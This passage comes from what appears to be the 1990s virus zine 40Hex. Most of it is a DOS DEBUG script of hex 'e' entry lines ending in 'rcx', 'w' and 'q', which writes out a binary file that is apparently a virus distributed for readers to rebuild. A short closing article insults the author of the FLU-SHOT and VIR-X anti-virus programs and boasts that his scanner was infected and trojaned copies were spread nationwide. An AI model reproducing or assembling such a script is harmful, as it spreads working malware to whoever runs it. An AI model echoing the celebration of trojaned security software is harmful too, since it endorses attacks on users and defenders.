  1149. e 12E0  88 AA 2A 89 AC 86 65 2A 4A 09 8B 87 FB 54 DE 08
  1150. e 12F0  E0 4D B6 1D E3 2C 3F C4 13 6A 83 0F C4 19 F1 24
  1151. e 1300  E8 35 E6 E6 F3 E0 FA 2C 08 B8 FC FC 52 1A 2E D8
  1152. e 1310  15 20 26 2F E2 53 1F E8 9B E2 F8 E5 20 C0 20 0C
  1153. e 1320  C6 A4 E3 E8 97 E2 F9 E5 3E E8 31 EB 12 AC CA 3E
  1154. e 1330  FD B7 75 BA FF AF 82 10 94 0F BD D1 44 D3 85 BF
  1155. e 1340  D0 E8 D9 E4 3D 70 AD A5 81 6B D6 7E C9 73 70 30
  1156. e 1350  7D 94 05 6A F0 37 73 98 7D 5F 94 05 6A 6E 36 AC
  1157. e 1360  42 A1 ED 3C 45 A1 93 40 22 62 4B 58 6F 42 DD 80
  1158. e 1370  FA F3 53 FC 1A 70 B9 A5 D4 AD A6 78 AD 6D 81 AD
  1159. e 1380  51 7F 7B C3 1D 6C 1E EB 54 F1 C6 C6 45 23 D6 24
  1160. e 1390  17 5E 0D B9 5E 1F B9 61 A6 0B C8 90 08 D7 C6 A5
  1161. e 13A0  BC 9C EE 54 2C 40 F6 D9 59 0D CD 67 03 47 D4 F3
  1162. e 13B0  D5 63 13 C5 02 22 2D E8 55 2A C0 3D 4F E1 3E 1D
  1163. e 13C0  61 3B B3 1F 55 FA E1 A0 C4 BE 16 C0 FF 3C F6 3C
  1164. e 13D0  6C 11 EB 54 F1 76 95 45 23 D6 24 17 59 06 B8 5E
  1165. e 13E0  1E B9 61 96 0B CB 90 1D 3D C4 E0 DB 89 BA DB 47
  1166. e 13F0  0A 75 E5 FF 6C 11 EB 52 10 61 E1 50 A0 56 00 E3
  1167. e 1400  37 31 0B DD 46 0C C5 2E 69 D4 2D 3A 54 28 92 2A
  1168. e 1410  46 DC D4 B3 E2 8B 05 E6 CA 2F D0 09 33 08 94 C6
  1169. e 1420  61 E2 C0 E4 96 45 23 D4 33 02 20 9D 15 8C 2E 4E
  1170. e 1430  D4 96 B8 3D EE E0 59 0D B3 59 1D FF 54 05 81 09
  1171. e 1440  2E FE D5 7C E2 D5 47 D7 D3 C2 E3 0F 24 18 54 05
  1172. e 1450  6D D5 39 D7 8C 38 29 A1 C1 E6 CA 2E DA 09 D9 FE
  1173. e 1460  16 7F E0 C4 46 29 16 05 08 96 C6 61 E2 5C C3 56
  1174. e 1470  05 E1 2D 85 02 20 9D 1C 8C 2E 4F D4 94 A2 8F 2E
  1175. e 1480  C9 D5 4A 2B 86 4A 3B CA 47 23 B4 1A 08 CA C6 58
  1176. e 1490  D7 C6 61 E2 5C C3 45 C7 23 37 31 61 16 4B E0 2A
  1177. e 14A0  F1 BB 2B 0D 94 D2 C0 FF 3D FF 3C CA D8 23 6C D7
  1178. e 14B0  23 53 2F 23 3D 84 E0 54 F1 D8 D4 45 23 D7 24 17
  1179. e 14C0  8E 3E B9 3D 77 E1 3E C5 C3 52 CA 08 FD C6 6C 1E
  1180. e 14D0  D8 6E 0E 9D 61 3E 59 C3 3D D8 E0 6D C4 E0 54 F1
  1181. e 14E0  D8 D4 C7 23 37 3E 61 16 4B E0 2A F1 BB 2B 0D 94
  1182. e 14F0  D2 C0 FF 3C FC 3C CA D8 23 6C D7 23 53 0B 23 19
  1183. e 1500  40 2D 54 37 00 41 85 61 D2 38 E0 96 24 18 5E 04
  1184. e 1510  BA 5C 15 B9 85 2D CB 3D C7 E0 16 7D 81 09 9F E1
  1185. e 1520  1E C8 59 11 D7 FF 2B 0F A3 54 E9 1E D5 85 02 2D
  1186. e 1530  90 69 0B 47 26 58 C6 1E D9 98 94 0B C0 18 CA 2F
  1187. e 1540  DA 09 9C 50 95 40 00 3D BF E1 3E 0D 60 38 D4 60
  1188. e 1550  14 F8 E1 DA 45 23 D1 45 0B D7 24 16 52 2D BD 52
  1189. e 1560  1B 0B FF 2E E1 D5 05 B9 6E A7 3C D4 0D EE 6C 05
  1190. e 1570  F0 CA 38 25 FC C9 A3 2C 85 02 2C 4D 0B 54 03 6D
  1191. e 1580  D5 F8 1E 9B C6 BD A1 18 E6 CA 2F DB 09 9F B5 68
  1192. e 1590  A1 C5 90 F8 1F 00 2D 2B 54 07 DE 3B 2D E9 96 31
  1193. e 15A0  FF 56 05 E2 37 3F 23 3D 33 1F 3D E7 E0 3F D4 B0
  1194. e 15B0  3D EC E0 54 04 80 09 73 F1 64 05 67 0F 2E 3F 2A
  1195. e 15C0  30 E6 E6 E2 1E A1 19 6C 14 48 39 3D 80 3C 8C 9E
  1196. e 15D0  73 8D 57 54 EA 38 24 3D 47 E1 8D 2D 32 59 0D 6E
  1197. e 15E0  0E 9C B2 16 47 11 93 F4 0B DC F7 EF 56 05 E3 9E
  1198. e 15F0  24 18 16 2E 14 2A 2E FF D5 40 3F 3D ED E0 52 15
  1199. e 1600  61 16 A7 3C 6C 05 F1 3D 26 1F 23 C0 D3 F1 38 94
  1200. e 1610  34 4A 22 5B 1C 09 9D 1A B8 8D 4D 38 8D 4F 21 E7
  1201. e 1620  22 60 19 86 08 55 C7 0B 05 4A 2B 5B 1D BA 87 05
  1202. e 1630  63 3E C4 61 14 FA 0E 5E C1 A3 96 EF E7 37 3C BB
  1203. e 1640  02 9F 0B FD 9D B3 16 C8 FF 3D 3E 1F 54 05 BD 09
  1204. e 1650  7F 21 C4 4D E7 96 85 E1 D2 24 1A 54 05 72 D5 46
  1205. e 1660  9F D4 C7 94 34 C0 C3 14 D9 08 95 1A 54 E5 46 24
  1206. e 1670  C5 90 5E B3 D2 1F 41 C6 F1 8B 2D 2B 54 2F 24 C4
  1207. e 1680  45 0B D7 4D E7 96 85 C9 D2 24 1A 8E 9F 0B FF 9D
  1208. e 1690  1C 86 05 EE CA 2E 17 2A 47 0B 76 E5 59 14 D7 6B
  1209. e 16A0  C2 85 A3 D4 D1 02 2F 93 5D E6 C2 DE 55 78 E0 F5
  1210. e 16B0  C7 BD A1 18 E6 CA 2E DF 09 72 C0 D7 22 5D B3 E2
  1211. e 16C0  CE 2A 50 E0 D4 2D 2C 5C F5 20 D4 0D 6A D2 EE A7
  1212. e 16D0  2A 45 0B D7 45 1B CA B3 13 8E 3A B9 3D E3 E0 DB
  1213. e 16E0  3B FF 8D 2E CB D5 55 59 16 D7 63 3E D8 6A C2 C6
  1214. e 16F0  B7 2A 8D 15 9E 24 16 55 F8 D3 F1 C7 94 C0 C0 15
  1215. e 1700  CA 2E A0 09 9E D2 31 46 2C 95 39 F6 B3 E3 08 1B
  1216. e 1710  39 B8 85 05 E1 1E 7F E1 D5 87 6A D2 C6 A7 2A EF
  1217. e 1720  2B 56 3D FF A0 32 BB 8C 2E C4 D5 9D EE CA 2E CB
  1218. e 1730  D5 55 63 3E DB 59 16 D7 6A D2 EE A7 2A 8D AB 37
  1219. e 1740  31 60 EB F5 C4 D4 B2 F6 D3 ED 20 CA 2E A1 09 9E
  1220. e 1750  54 95 90 5E BD E3 1F 03 98 08 1A 39 B8 85 05 0B
  1221. e 1760  23 D1 16 CA 45 23 D4 24 17 8E 3A B9 3D 72 E1 3E
  1222. e 1770  C1 6C 1F 48 3A 3D C5 E0 02 2D 16 8F 47 0A 48 E5
  1223. e 1780  19 52 1C 59 5F EA 18 54 37 EF DA 30 FF 23 D1 A3
  1224. e 1790  28 24 18 60 4B 50 D4 C4 25 02 3E DC D4 B2 57 59
  1225. e 17A0  07 6C 05 ED 20 CB 48 39 8C 2F D0 09 30 FF 23 D1
  1226. e 17B0  A3 37 3F B9 8E 41 2B 3D 73 E1 3E C1 6C 1D 48 38
  1227. e 17C0  3D C4 E0 3E 31 B8 F8 5A C3 46 7F CE 0B 47 11 7E
  1228. e 17D0  3B 16 C2 30 FF 96 24 19 65 48 37 E9 C7 94 C6 4A
  1229. e 17E0  20 5E 1E FE 5B 1D BB FE 06 09 E9 1A E3 5C 29 45
  1230. e 17F0  C1 0A 23 C4 07 3E E9 72 B5 96 8F 08 DD C6 A9 23
  1231. e 1800  D9 63 16 C4 A9 16 9B 08 21 39 94 E5 2D 19 80 C8
  1232. e 1810  18 CA 2E C3 D5 77 64 54 2B 41 F6 4D 3D 60 E5 08
  1233. e 1820  09 39 95 2E 4F 08 5E 2D 61 10 48 E0 EB 38 AE D5
  1234. e 1830  9B 94 07 C0 FF 85 4F 28 88 C8 B5 1E 9B BB 8C 2E
  1235. e 1840  99 D4 2D 2A 96 94 A9 3D CE E0 23 D1 A9 56 05 E2
  1236. e 1850  9C 05 BA 3D 32 1F A1 E8 0B 2C 94 EE CA 2E C3 D5
  1237. e 1860  47 0A 75 E5 69 06 7F C3 51 40 2D 3D 1A 1F A0 3D
  1238. e 1870  72 5C 1C 61 17 48 E0 52 15 1E DA 9C 94 D2 C0 FF
  1239. e 1880  85 F5 20 8F 94 23 8F 9D B9 3D BD E1 02 3E 0B 1F
  1240. e 1890  2D EE 8E 72 A0 8C 2E 5A D4 2D EC 8E C8 FF 86 05
  1241. e 18A0  08 FC C6 95 2E 2D 0B 3D 37 1F 6C 59 C3 FC 0D 63
  1242. e 18B0  3C DC 08 C2 C6 95 2E 46 57 5B C6 E1 A1 CB 08 0F
  1243. e 18C0  39 61 3E 72 C3 9E 4F 28 86 C0 FF 16 39 D7 8D F6
  1244. e 18D0  A7 D7 F6 A7 D4 45 23 D6 45 09 D6 05 0B DB 9D B9
  1245. e 18E0  61 86 08 6F C7 0B D9 9D B3 DB D9 23 3D EC E0 A0
  1246. e 18F0  3D 0B 3E 2E 11 2A 7E 7F F6 EF 23 6C DC E0 E6 0E
  1247. e 1900  08 C3 C6 95 2E 46 57 5B C6 E1 A1 19 08 0D 39 61
  1248. e 1910  3E 71 C3 86 C0 69 1D D9 23 5F E1 D0 B2 C7 D0 B2
  1249. e 1920  C4 63 16 C5 63 3C C5 23 3E DE B8 5E 1E B8 83 4F
  1250. e 1930  21 2A F0 86 F0 7E E0 95 98 1F 03 98 19 45 3E 09
  1251. e 1940  D2 C6 1E D2 85 02 2E 2D 01 3D E4 E0 6C 43 C3 54
  1252. e 1950  2D 49 F6 38 EF 96 24 1B 80 4D 0B 54 03 6E D5 F5
  1253. e 1960  20 EB 46 9E D5 C7 BD A1 CF E6 CA 2F D6 09 C8 FF
  1254. e 1970  8E 95 23 18 96 1E 1C 2D F6 5F C1 A3 5F E1 66 11
  1255. e 1980  4E A7 2A 8F 68 F2 85 D3 15 8F 23 DB D9 0B C6 2E
  1256. e 1990  07 2A 3E 95 2F 9E BB 8C 93 1F E3 A0 C5 88 F8 1F
  1257. e 19A0  00 9B 08 D5 C6 59 51 E5 BB 54 2D 56 F6 2E 29 2A
  1258. e 19B0  B3 1B 55 79 6F D5 C7 1C A1 16 E6 CA 2F D1 09 4F
  1259. e 19C0  A9 85 2D F7 5F C1 A3 5F E1 66 35 4E A7 2A 4E C7
  1260. e 19D0  96 F5 20 56 2F E2 16 C8 FF 3E D3 08 33 39 95 2E
  1261. e 19E0  9E BB 2E 9F 1F E3 A0 C5 5A C0 7A F0 39 F6 4F E3
  1262. e 19F0  08 D5 C6 BB 54 2D 58 F6 7F 64 F6 2E 26 2A B3 1B
  1263. e 1A00  55 79 6F D5 C7 94 1A C0 FF 3C F6 3C 87 4C 97 2A
  1264. e 1A10  96 6A C2 38 2E E5 F1 66 27 45 23 D4 24 13 8C 9E
  1265. e 1A20  09 D0 C6 08 D5 C6 0B D8 4D 30 8D 4D 38 8D 57 1F
  1266. e 1A30  C3 A0 C5 3E 28 BB 6C 43 C3 DB 47 0B 4A E5 FF 5F
  1267. e 1A40  81 1F 2B 0E D0 D2 85 02 23 46 5F 5B C6 E1 A0 C7
  1268. e 1A50  23 D3 F5 20 CA 2F D0 09 38 29 55 F1 87 96 8F A3
  1269. e 1A60  9C B3 17 2A F0 86 F0 49 E6 4C E3 BB 8C 2D E3 3D
  1270. e 1A70  E9 E0 2A D0 79 F0 2D 17 6D C4 E0 54 05 81 08 38
  1271. e 1A80  2F 6C 42 C1 DB F4 08 CA 46 D7 B2 8F E1 16 8F 95
  1272. e 1A90  22 47 23 5A C6 1E DA C0 FF A0 C7 23 5C 0E 09 E6
  1273. e 1AA0  1A BB 3E 12 A9 55 F1 08 56 05 E2 56 2F E2 A0 33
  1274. e 1AB0  BB 2A F0 86 F0 49 E6 4D E3 0B D6 2E CE D5 9F 1F
  1275. e 1AC0  C3 5E C5 3E 30 58 D7 C6 61 16 A7 3C 6C 40 C3 DB
  1276. e 1AD0  F5 28 CA 46 D7 3D C7 23 FE 0E 95 22 47 23 5A C6
  1277. e 1AE0  1E DA C0 FF A0 C7 23 5C 0E 09 E1 1A BB 3E 10 D3
  1278. e 1AF0  87 4C 97 2A 4C F7 E5 F1 66 27 45 23 D4 24 15 8F
  1279. e 1B00  3D BB 8C 39 F6 B3 E3 08 D6 C6 A0 E6 18 EB 23 38
  1280. e 1B10  27 8E 47 0B 74 E5 63 16 C4 59 50 E2 1E 18 C8 FF
  1281. e 1B20  5F 81 1F E5 C1 A3 37 3E 61 16 48 E0 52 18 1E D9
  1282. e 1B30  B3 E3 52 35 23 D3 F5 20 CA 2F D0 09 94 6A A2 39
  1283. e 1B40  6A C2 C6 D7 53 10 A3 37 31 BA 8E 9F B6 6B A1 C5
  1284. e 1B50  9B 39 F4 3D C4 E0 E6 18 61 23 B0 F8 8E 98 61 3E
  1285. e 1B60  59 C3 6C 43 C3 DB D9 6A 92 39 C8 D2 85 02 2D 47
  1286. e 1B70  23 5B C6 67 26 38 EC A0 C5 67 0B 05 E6 E6 06 FF
  1287. e 1B80  3C F3 3C 5E 08 E5 83 F2 B0 55 F1 E5 2B C1 A3 37
  1288. e 1B90  3E B8 96 87 1D 2C 96 37 8D 9D B9 2A D0 86 F0 2E
  1289. e 1BA0  E3 D5 7D E1 83 9D 61 3E 59 C3 6C F2 69 6C 43 C3
  1290. e 1BB0  DB 96 58 D5 C6 6E 0D 9E FF 2B C9 60 E2 C3 A3 37
  1291. e 1BC0  3E 59 F6 C6 1E 5A 48 E0 A1 72 E6 6C C6 E0 CA 2F
  1292. e 1BD0  D2 09 05 1B 85 11 60 E2 D6 63 16 C7 02 2D 9E BB
  1293. e 1BE0  8C 90 5E B3 E3 18 2A D2 18 8B 85 08 FC C6 61 3E
  1294. e 1BF0  59 C3 6C 41 C3 9C 3F A9 55 F1 F0 56 05 E1 37 3E
  1295. e 1C00  6B 1E 7F 6E D5 C7 2B 2B C9 94 D7 2D E1 16 C0 58
  1296. e 1C10  D5 C6 FF 2D 2F D9 09 9D B3 DB 97 19 8C D9 18 16
  1297. e 1C20  46 E7 D0 45 23 D4 24 18 8E 87 B9 83 78 86 F0 39
  1298. e 1C30  F4 2D 98 A2 85 9C 70 3D C7 E0 2D 9D 61 3E 59 C3
  1299. e 1C40  60 E5 51 50 2E F9 D5 46 CF D0 85 18 56 04 F2 37
  1300. e 1C50  30 61 16 48 E0 2B C9 95 DE 05 A3 54 07 9A D8 11
  1301. e 1C60  EE CA 05 44 D3 D9 09 E6 1A B8 8E 3E CE C7 EE 06
  1302. e 1C70  43 EB 02 51 E9 9E 4B B4 36 4F 50 02 B9 7E 46 44
  1303. e 1C80  13 94 B9 B8 76 43 0B F5 80 4E 58 CB 57 9E BA 55
  1304. e 1C90  57 D0 E8 88 FD 0A 2E A0 7C 3C A2 E0 26 F3 E1 2B
  1305. e 1CA0  10 2E A6 24 C6 65 F1 F9 E5 3D C7 20 8A 07 26 13
  1306. e 1CB0  E8 CE 9C EE 3B 89 72 C9 8D C8 08 BF B4 36 9F B2
  1307. e 1CC0  98 A7 65 AA EF BF 4B 68 6D 5F 00 49 E6 82 41 54
  1308. e 1CD0  3E 9F A2 66 05 1B 13 40 54 70 B8 26 50 2E D9 05
  1309. e 1CE0  66 03 61 59 CE 4F EE 05 CC F1 70 DA 2B DD E2 56
  1310. e 1CF0  F7 3E FB D7 40 C1 0F E8 67 F8 8F EC 30 E2 20 EF
  1311. e 1D00  AA FA D7 4C E1 23 E8 DF 11 B2 DA DD 66 2F 9E 11
  1312. e 1D10  3D 08 EC 16 40 36 72 03 FB 28 C8 0D 71 DC BA 22
  1313. e 1D20  E3 50 5F DD 74 59 73 4C 8E 41 04 54 DC 25 6F 79
  1314. e 1D30  C1 9D 73 39 99 C1 66 99 18 67 6E E5 A7 E8 25 FD
  1315. e 1D40  0A 52 54 AF 19 8F F1 56 8F 4A 57 6C C3 CE E0 ED
  1316. e 1D50  2A F1 D0 04 DF 24 C2 2B C6 C5 19 CE C1 FC CF AA
  1317. e 1D60  FB E0 CB 36 40 37 01 10 DE 53 04 48 AC 56 00 76
  1318. e 1D70  C0 94 D3 B6 A4 D3 34 6D EB 40 31 7D BF 70 35 65
  1319. e 1D80  90 96 C0 3E 09 19 8E 53 45 40 D0 F6 08 90 3E A7
  1320. e 1D90  36 04 54 35 0E 7D 93 EF 06 3D A1 5D 36 39 FE 61
  1321. e 1DA0  19 08 9A 1E 5D 36 EB 34 FB 2E A6 3D A8 3A 41 2E
  1322. e 1DB0  D9 25 79 03 4A 80 DB 53 C6 F4 9C 06 28 13 8F 20
  1323. e 1DC0  1F 00 08 93 06 8E 0F 52 CE AA 06 CF 3E E6 CE 61
  1324. e 1DD0  ED 60 D3 28 53 34 F3 2F 6B C1 A4 E0 12 C8 2C D6
  1325. e 1DE0  80 F6 EE 6F C5 67 C2 FD 63 43 F7 78 E4 91 F3 2F
  1326. e 1DF0  E0 12 C8 2C D6 80 F6 EE 6F C5 6B C2 FD 63 4F F7
  1327. e 1E00  78 E6 91 EE 6D C5 65 C2 FD 4B E8 74 E4 C8 2C D6
  1328. e 1E10  80 F6 28 24 35 28 97 D7 87 E5 4B 5B 7F F8 8A 2C
  1329. e 1E20  D3 75 0B FB 1D CB 01 E1 E9 71 C7 74 D6 1F 2F 7B
  1330. e 1E30  07 E9 0D F7 A1 D7 09 97 F6 F2 54 18 F6 E3 93 74
  1331. e 1E40  25 93 ED A6 FA 4E C0 3D 83 28 A0 24 27 FA 45 C0
  1332. e 1E50  2F 01 53 6A E8 CA FF 0D 34 2F 91 12 B2 36 CA F7
  1333. e 1E60  D7 B4 E9 36 30 0F 74 25 93 ED A6 FB F2 D8 67 03
  1334. e 1E70  A6 D6 80 CE DE EC 34 EA D7 20 FC 9F FA 63 BF 23
  1335. e 1E80  C4 7A C9 59 DD DF 02 F9 DB F9 E9 30 FA E8 2B 16
  1336. e 1E90  E4 07 1F 02 C0 32 50 9E 13 00 A8 CB 58 D9 25 0C
  1337. e 1EA0  26 EC 36 28 13 0E A9 15 0E 26 D4 06 2A 13 0A 3B
  1338. e 1EB0  DF 83 CE 9D EC 30 D9 F6 EE AC C4 04 7B 34 98 D0
  1339. e 1EC0  4B 82 2F CA C8 5A 94 14 D9 22 51 DA DD CF A8 E5
  1340. e 1ED0  CE 63 EC B3 A9 52 F8 4F 0E B6 87 45 8A CF 9F 1C
  1341. e 1EE0  57 B8 E8 A1 3A 62 AA CE 97 40 CD 9C 29 40 8F DA
  1342. e 1EF0  B1 75 C6 BA 1C 53 AF EE AA 53 FB A9 53 A2 A9 EE
  1343. e 1F00  D4 EC 9A CB E1 FB D0 EC 9A D5 E7 9A CF EC FB CE
  1344. e 1F10  EA F2 BC E6 FC BC FD F2 D9 89 82 BC EF F3 CF E1
  1345. e 1F20  B0 91 E0 9A DD E4 9A BB D7 D1 F2 D3 C3 EA C6 C7
  1346. e 1F30  BB 89 F3 D2 89 F2 DD E4 F8 C9 FB FD B8 1D B3 92
  1347. e 1F40  B6 00 73 B4 94 63 BF DC B9 87 7D 9A 31 9F 68 5D
  1348. e 1F50  01 04 8C 26 92 FA 89 5C 27 62 5B AF BC 9C 56 45
  1349. e 1F60  74 25 BE 74 FD 5F 74 89 B9 0A D0 E9 3B F6 2E A6
  1350. e 1F70  35 B3 02 ED E8 CF EE 74 D4 FB C7 CD 22 F9 F1 63
  1351. e 1F80  EF 72 CE D7 56 E4 56 FB C4 3E D9 5B DD DF EA 11
  1352. e 1F90  E3 14 D7 7E 43 DD F1 61 EF 74 CE D4 DF CE 7A 05
  1353. e 1FA0  EA D7 F4 EC 5C FB C4 E2 C9 4D DD 37 31 FB ED 6A
  1354. e 1FB0  08 E1 55 FC 26 13 E9 08 F8 E8 A1 F8 1A E8 A8 C6
  1355. e 1FC0  D3 1C B9 EC F3 6D 47 F9 E0 63 D3 69 CC F3 45 FE
  1356. e 1FD0  78 EA E3 14 26 5A DF D5 53 16 83 DC 0F 76 03 FB
  1357. e 1FE0  61 CD 0E E0 E8 78 F6 6B D7 54 F9 DD 6B C8 5C C4
  1358. e 1FF0  E8 0C F6 A0 D6 CE C5 F5 51 E2 7A A6 3A 1B 69 C4
  1359. e 2000  ED E9 B9 F4 89 F1 9A D6 08 10 3E 89 37 83 D9 0F
  1360. e 2010  72 23 20 FF CD 15 F7 A5 FC 1C D1 CC E8 02 F8 5C
  1361. e 2020  3E 80 DA 10 80 0E 97 2F 36 B5 05 B3 1A 88 DA 31
  1362. e 2030  88 C9 3E 88 FA CE 8A F2 C2 28 9B E7 0B 19 FC 88
  1363. e 2040  C9 3E B3 18 7C 25 E7 28 6D 3D 87 17 18 17 F2 31
  1364. e 2050  CF BF 27 10 80 0E 93 2F 36 C1 1D 7E 1B 25 19 38
  1365. e 2060  A6 3C 10 22 1E 91 2F 36 3F 0D A9 1A 38 D1 86 0B
  1366. e 2070  5A 84 17 18 10 F4 0E 58 2E F0 33 09 45 CF 4C FF
  1367. e 2080  CE D3 EA 33 23 1E 95 05 83 32 DD D8 3A C7 1E E9
  1368. e 2090  35 56 33 CB 96 F2 CB C0 17 35 73 2F 3D 83 28 A0
  1369. e 20A0  24 27 FA FE C0 FB 83 CC E5 47 31 93 75 2F FA F2
  1370. e 20B0  C0 EB 42 38 14 52 CD FB 89 CC 02 DC 7B A0 C6 FA
  1371. e 20C0  EB 5F A5 D3 DC 7A A0 CB 7A 27 61 FB DD E9 F5 F5
  1372. e 20D0  E8 56 F9 46 AC 71 F2 47 87 B9 6C 17 52 6B 9F 84
  1373. e 20E0  AC E9 8A 6B 9F 86 AC CF 8D B3 17 8C E9 BD 8C B3
  1374. e 20F0  18 A4 AE 99 FA AE 15 50 E6 17 50 0D 9A 8A 81 E9
  1375. e 2100  88 AD 5B 29 AF 99 D5 EE 17 48 A2 86 34 52 BF 33
  1376. e 2110  2C 8A 03 5B 64 B9 77 71 E5 AD DE F3 83 EF 06 9E
  1377. e 2120  A2 01 76 3D 8E 20 56 24 9F 7F 23 CF 5D 03 CE 01
  1378. e 2130  EA 74 90 AD 63 96 59 81 90 6B EA 74 8D 15 83 9C
  1379. e 2140  4D E6 67 29 96 AC 81 19 9D 88 B4 0F A3 AB A7 17
  1380. e 2150  92 0A BB A9 A7 2D 86 D3 81 78 7F 46 19 A5 7A B4
  1381. e 2160  0F B3 4D A7 AB 28 FE 85 C0 3B D5 90 3A 5A 6F 0D
  1382. e 2170  65 A3 7C 15 5B 71 0B DF 1F A3 C7 1F FD 10 4F A4
  1383. e 2180  C0 6B A0 91 D0 BB 20 C0 D9 3D 2D 02 FA E8 95 FA
  1384. e 2190  39 18 23 21 06 9D 2D 36 E8 28 35 09 D6 D5 CE 21
  1385. e 21A0  A8 09 D6 0C C9 B7 06 10 1A A2 10 22 A8 09 B2 1E
  1386. e 21B0  12 1A F0 9A DD F0 32 DD 06 7D 86 18 2D B0 C0 75
  1387. e 21C0  F9 1E 2B 3E 68 2D 21 F0 92 3E 22 D0 F6 CE 60 E9
  1388. e 21D0  38 B3 48 30 50 8E 43 A5 99 A2 03 B3 6E 3E 43 A8
  1389. e 21E0  76 B6 BB 97 10 A2 5B 23 65 5B 4B 64 5B 3A 86 AC
  1390. e 21F0  C3 28 4B E8 6B FA 1A B2 A9 53 B4 D7 B0 B3 83 7C
  1391. e 2200  E4 64 7C 07 65 C4 9C 26 27 96 8A 94 B3 D7 7C CA
  1392. e 2210  87 8F BB 4B 5D 08 EC 2E 13 37 00 BA 3D 8F 20 9D
  1393. e 2220  25 08 B0 60 03 3D 89 38 71 25 08 9A 0E 42 36 26
  1394. e 2230  1D 13 72 24 D0 02 75 9A C1 14 FE 26 1C 1B 73 61
  1395. e 2240  EB 2E 87 73 25 08 98 1E 44 36 2E AD 1D 64 03 3D
  1396. e 2250  FF 10 9D 25 BB D0 89 E3 F7 40 2C D3 74 DC 48 53
  1397. e 2260  9F 37 00 0F D8 2E 16 14 43 C4 E9 E8 26 13 5B A5
  1398. e 2270  D0 14 08 9B 07 AF FB C3 AF D6 5B 75 AA 24 26 3D
  1399. e 2280  80 11 71 43 C4 EA 89 CE D0 9C 08 9C 06 A8 36 2E
  1400. e 2290  85 73 25 08 9A 1E 44 36 2E AF 1D 64 03 35 3B AC
  1401. e 22A0  1C 32 54 F0 53 9E 12 00 25 D2 29 E5 50 40 2C D3
  1402. e 22B0  74 DC 3D 8B 29 21 ED 65 10 0F 08 28 07 54 D4 F8
  1403. e 22C0  DC 3D A1 46 36 2E AD 0D 62 03 3D 8B 28 77 25 08
  1404. e 22D0  EC 36 A8 36 9D E5 46 89 C3 43 81 58 17 00 E6 60
  1405. e 22E0  0C 08 B2 47 02 2A 46 22 65 03 7E 4E CF 08 93 3E
  1406. e 22F0  76 37 01 52 35 8B 60 17 2E 85 3C 24 AD 55 02 08
  1407. e 2300  B0 2D 02 61 0F 7E 4E 2E AD 35 DF 02 3D 8E 30 CE
  1408. e 2310  24 CF 6A FE A7 75 06 D9 ED EB E9 3D FE 28 42 24
  1409. e 2320  53 DB 81 40 15 FF D8 FB 61 C4 EF 1E C4 F7 40 08
  1410. e 2330  B1 4E 04 3D A2 4F 31 B0 25 FB 7D C4 15 1F AF C9
  1411. e 2340  B0 27 FB 27 27 F9 72 C7 FB C4 C7 FB 89 C7 FB 35
  1412. e 2350  C1 4B 5D 75 42 BB BA 30 B9 72 13 2E A6 24 D6 65
  1413. e 2360  F1 F9 7F 48 CF CD 3D 80 28 8F 23 26 67 11 75 42
  1414. e 2370  BB BA 30 B9 72 13 2E A6 24 D6 65 F1 F9 7F 48 E9
  1415. e 2380  2D E8 34 CE AE E7 35 83 78 8A 83 78 D7 83 0C 98
  1416. e 2390  7C 8E 35 A6 78 86 83 78 59 7D 84 E9 AF 2E AF 25
  1417. e 23A0  75 03 3D 89 18 64 25 08 9F 1E 5D 36 2E AA 15 7D
  1418. e 23B0  03 3D A3 5F 36 2E AF 1D 7F 03 3D 89 38 92 25 08
  1419. e 23C0  9A 16 B6 36 C3 CE 12 E8 5F F4 22 2B F6 C3 D4 A0
  1420. e 23D0  7D 0E 30 C9 15 9D 28 25 01 F1 92 1B 0D 87 38 8B
  1421. e 23E0  2E 96 49 D4 59 EF DD F6 97 2B F6 91 D5 3D C3 CE
  1422. e 23F0  42 E7 A0 AD 90 11 B3 3F BD 83 32 9E D0 9B AB 76
  1423. e 2400  30 5B 8B 35 86 AB BE B6 96 A0 DF 89 CD 81 8B 35
  1424. e 2410  86 A3 BE B6 96 A0 DF 89 CD 95 83 30 9E D0 9B B6
  1425. e 2420  26 A0 19 88 57 D7 AD E5 70 BC 5F 70 4C 5E 70 24
  1426. e 2430  5E B6 26 A0 19 88 90 16 AB C3 BD 31 90 67 B3 3D
  1427. e 2440  BD 45 46 78 19 EF B6 52 A8 FE 88 30 5B 8B 79 9E
  1428. e 2450  A1 BE 67 52 98 5F AB B4 98 AD BE 70 F1 5E 70 91
  1429. e 2460  41 21 28 AF 23 E2 BE 20 AF B6 B6 A4 B9 1B 6E BC
  1430. e 2470  7A 55 56 97 AD 71 70 BD 40 1F D0 E8 08 93 0F 33
  1431. e 2480  50 E2 DF D8 2E 87 6A 25 08 9D 06 5B 36 2E A8 0D
  1432. e 2490  7B 03 3D 8B 10 66 25 08 98 3E 51 36 2E AD 1D 7F
  1433. e 24A0  03 3D 8B 38 92 25 08 98 16 B6 36 C3 26 42 53 9D
  1434. e 24B0  33 00 9F 96 23 DB AA D8 0B 81 37 26 13 83 C3 03
  1435. e 24C0  E2 F7 8B CB 59 8B D9 59 B4 60 EB 1D 56 E8 02 00
  1436. e 24D0  45 69 5A 0E 81 EA A0 23 1F B9 D8 0B 87 D6 81 34
  1437. e 24E0  26 13 83 C6 03 E2 F7 EB 08 80 EC 20 E8 89 01 EB
  1438. e 24F0  DB 81 EE 75 FF 80 3C 01 75 02 5E C3 06 1F E9 30
  1439. e 2500  DC 00 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  1440.  
  1441. rcx
  1442. 2402
  1443. w
  1444. q
  1445.  
  1446. ------------------------------------------------------------------------------
  1447.  
  1448.                                                                          HR
  1449.  
  1450.  
  1451. 40Hex Volume 1 Issue 2                                                   0007
  1452.  
  1453.                       Now a word from a real dick
  1454.  
  1455.  
  1456.      When SSS told me how much of a dick this guy I'm about to tell you
  1457.      about is I didn't belive him.  His name will be kept, because if we
  1458.      mention it he'll get all souped and think he's public enemy number
  1459.      one in the virus community.
  1460.  
  1461.      Who he is, is the author of a very sad anti-virus program and virus
  1462.      scanner called FLU-SHOT and VIR-X, respectivly.  What the man is,
  1463.      is a sad case who wallows in the shadow of John McAffe and curses
  1464.      to his bitter self why he is not a popular anti-virus author.  The
  1465.      reason is simple.  His product sucks.  Well lets put it this way,
  1466.      his self proclaimed 'great' scanner fails to detect over 60% of all
  1467.      viruses out there.  On top of that, it was very sinple for a
  1468.      person, who shall remain nameless, to infect his virus scanner, and
  1469.      send out trojan copies all over the USA.  The product, FLU-SHOT, is
  1470.      the most annoying, false-alarm causing, piece of trash on the
  1471.      market.   Nuff said on the subject.
  1472.  
